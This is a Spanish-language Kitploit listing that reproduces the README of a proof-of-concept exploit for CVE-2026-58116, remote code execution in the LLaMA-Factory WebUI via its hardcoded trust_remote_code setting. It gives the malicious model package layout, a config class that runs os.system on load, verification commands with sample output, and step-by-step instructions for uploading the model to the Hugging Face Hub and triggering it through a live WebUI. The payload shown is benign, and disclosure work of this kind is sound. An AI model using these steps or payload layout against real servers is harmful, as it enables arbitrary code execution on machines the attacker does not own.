Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection — Prueba de concepto de exploit para CVE-2026-58116 que demuestra ejecución remota de código en LLaMA-Factory WebUI mediante inyección de ruta de modelo trust_remote_code. Incluye modelo de payload y script de verificación para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

Prueba de concepto de exploit para CVE-2026-58116 que demuestra ejecución remota de código en LLaMA-Factory WebUI mediante inyección de ruta de modelo trust_remote_code. Incluye modelo de payload y script de verificación para pruebas de seguridad autorizadas.

Ver Repositorio
hace 1 mesAún no revisado

CVE-2026-58116 — RCE en WebUI de LLaMA-Factory mediante trust_remote_code

Prueba de concepto para CVE-2026-58116 (CVSS 9.8 Crítico): ejecución remota de código en LLaMA-Factory <= v0.9.5.

La WebUI de LLaMA-Factory tiene hardcodeado trust_remote_code=True al cargar un modelo (src/llamafactory/webui/chatter.py:139 y runner.py:175,320). El campo "Ruta del modelo" controlado por el atacante fluye sin validación hacia AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), por lo que la librería Hugging Face transformers descarga y ejecuta código Python arbitrario desde un repositorio de modelo malicioso.

⚠️ Solo para uso educativo

Este PoC es solo para pruebas de seguridad autorizadas y educación. El payload incluido es intencionalmente inofensivo (imprime reconocimiento del host mediante id). Ejecútelo solo contra sistemas que posea o que tenga autorización para probar. Nunca implemente un payload malicioso contra infraestructura sin permiso explícito.

Contenido

root@kitploit:~
.
├── poc-model/
│   ├── config.json          # declara auto_map → módulos atacantes
│   ├── configuration_poc.py # payload: ejecuta os.system("id ...") al cargar la configuración
│   ├── modeling_poc.py      # clase de modelo stub mínima
│   └── __init__.py          # lo convierte en un paquete importable
└── build_and_verify.py      # ensamblar + verificar el sink de forma aislada

Cómo funciona el sink

transformers instancia la clase de configuración antes de cargar cualquier peso, por lo que el payload en PoCConfig.__init__ se dispara tan pronto como se lee la configuración — no es necesario que existan pesos. Ese es exactamente el camino que LLaMA-Factory alcanza a través de src/llamafactory/model/loader.py:

root@kitploit:~
def _get_init_kwargs(model_args):
    return {"trust_remote_code": model_args.trust_remote_code, ...}   # True (hardcodeado)

def load_tokenizer(model_args):
    init_kwargs = _get_init_kwargs(model_args)
    tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)

Inicio rápido

Verificar el sink localmente (no se necesita WebUI — demuestra el contrato que la WebUI viola):

root@kitploit:~
pip install transformers torch
python3 build_and_verify.py

Salida esperada — observe que el banner del payload aparece durante la carga de la configuración:

root@kitploit:~
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
  time      : 2026-07-02T...
  host      : gpu-host-01
  user      : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)

Fin a fin mediante una WebUI de LLaMA-Factory en ejecución:

  1. Sube el modelo PoC al Hub:
    root@kitploit:~
    huggingface-cli login
    python3 build_and_verify.py --upload your-user/llmfcty-poc
    
  2. Inicia un panel de LLaMA-Factory afectado: llamafactory-cli webui
  3. Abre la pestaña Chat, establece Ruta del modelo en your-user/llmfcty-poc, haz clic en Cargar modelo.
  4. El payload se ejecuta en el servidor como el proceso de LLaMA-Factory.

Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-58116
  • VulnCheck advisory: https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path
  • Original disclosure (h3nrrrych4u): https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8
Descargar herramienta